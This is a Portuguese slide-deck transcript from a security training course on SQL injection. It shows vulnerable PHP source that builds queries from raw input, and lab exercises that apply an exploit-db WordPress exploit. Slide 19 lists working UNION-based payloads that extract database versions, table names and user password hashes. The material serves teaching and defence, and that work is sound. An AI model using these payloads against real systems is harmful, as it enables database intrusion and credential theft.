Slides

A1 - Sql Injection na Prática Parte 01

Description
1. A1 – SQL Injection na Prática! COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS. 2. Exemplos Reais 3. Sumário …
Categories
Published
of 22
All materials on our website are shared by users. If you have any questions about copyright issues, please report us to resolve them. We are always happy to assist you.
Related Documents
Share
Transcript
  • 1. A1 – SQL Injection na Prática! COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
  • 2. Exemplos Reais
  • 3. Sumário  Tipos de Injeção  SQL Injection  O que é SQL Injection?  Quais são as implicações?  Exemplo Cracker  Servidor OWASP  Exercícios 01  Código Fonte  Exercícios 02  Referências OWASP COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
  • 4. A1 – Tipos de Injeção https://www.owasp.org/index.php/Interpreter_Injection
  • 5. A1 – Tipos de Injeção  Injeção de LDAP: é uma técnica usada para explorar sites da Web que constroem expressões LDAP de uma entrada fornecida pelo usuário (WASC-29).  Comandos de SO: técnica para explorar sites da Web através da execução de comandos de sistema operacional em campos de entrada (WASC-31).  Injeção XPath: é uma técnica usada para explorar sites que constroem consultas Xpath (linguagem para endereçar elementos de documentos XML) a partir de entradas fornecidas pelo usuário (WASC -39). https://www.owasp.org/index.php/XPATH_Injection
  • 6. WordPress - Vulnerability Statistics
  • 7. SQL Injetion  O que é?  SQL (Structured Query Language) é uma linguagem de programação para a consulta de bancos de dados.  Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados para consultar um banco de dados (BD).  Quais são as implicações?  Vazamento de informações através de mensagens de erro do BD.  Dados extraídos de seu banco de dados .  Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por diante).  Executar comandos em seu sistema.  Comprometimento completo do sistema.
  • 8. Exemplo cracker – www.exploit-db.com
  • 9. Banco de Vulnerabilidades
  • 10. • Common Vulnerabilities and Exposures (CVE) fornece uma referência de método para conhecimento ao público, expoem as informações de segurança, e as vulnerabilidades. http://cve.mitre.org/about/terminology.html
  • 11. Servidor OWASP • Digite no Web Browser o ip que nosso Servidor forneceu. http://code.google.com/p/owaspbwa/wiki/Downloads
  • 12. Selecione a Aplicação WordPress
  • 13. Exploração da Vulnerabilidade
  • 14. Exercícios 01  Entrar no site http://www.exploit-db.com  Entrar no menu “search”  Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.  Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability ”  Aplique o exemplo dado no WordPress, armazenado em nosso Servidor de Aplicações Vulneráveis. Outros Bancos de Vulnerabilidades http://www.securityfocus.com/ http://www.osvdb.org/ http://www.cvedetails.com/top-50-products.php
  • 15. SQL Injection  Abaixo a aplicação pesquisa o Usuário pelo ID.  ID = 1 / First name: admin / Surname: admin
  • 16.  Ao inserimos o Apostrofo (‘), no campo de consulta, gerou um erro de banco de dados.  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
  • 17. Código Fonte  <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?>
  • 18.  O Apostrofo está fechando a consulta SQL e formando outra, como não há um filtro na Aplicação, o caracteres interferiu diretamente no código gerando o Erro. "SELECT first_name, last_name FROM users WHERE user_id = '$id''"; SQL INJECTION SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';
  • 19. Exercícios 02  Escreva os comandos e analise os resultados.  ' or ' 1 ' = ' 1  ' or 1=1—  ' union SELECT @@version'  ' union SELECT @@version, null '  ' union SELECT database(), null '  1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#'“  a' UNION ALL SELECT system_user(),user();#'”  a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'”  ' union select user, password from users; -- priv;#'“  ' union select user, password from users; -- '
  • 20. Password’s usam o criptografia MD5
  • 21. Referências OWASP  OWASP SQL Injection Prevention Cheat Sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java  OWASP Injection Flaws Article https://www.owasp.org/index.php/Command_Injection  OWASP Testing Guide: Chapter on SQL Injection Testing https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29  OWASP Code Review Guide: Command Injection https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection  LDAP Injection https://www.owasp.org/index.php/LDAP_injection  XML Injection https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29  XPATH Injection https://www.owasp.org/index.php/XPATH_Injection  Log Injection https://www.owasp.org/index.php/Log_injection
  • 22. Referências Externas:  CWE Entry 77 on Command Injection http://cwe.mitre.org/data/definitions/77.html  CWE Entry 89 on SQL Injection http://cwe.mitre.org/data/definitions/89.html  XSLT Injection http://www.acunetix.com/blog/web-security-zone/articles/the- hidden-dangers-of-xsltprocessor-remote-xsl-injection/
  • We Need Your Support
    Thank you for visiting our website and your interest in our free products and services. We are nonprofit website to share and download documents. To the running of this website, we need your help to support us.

    Thanks to everyone for your continued support.

    No, Thanks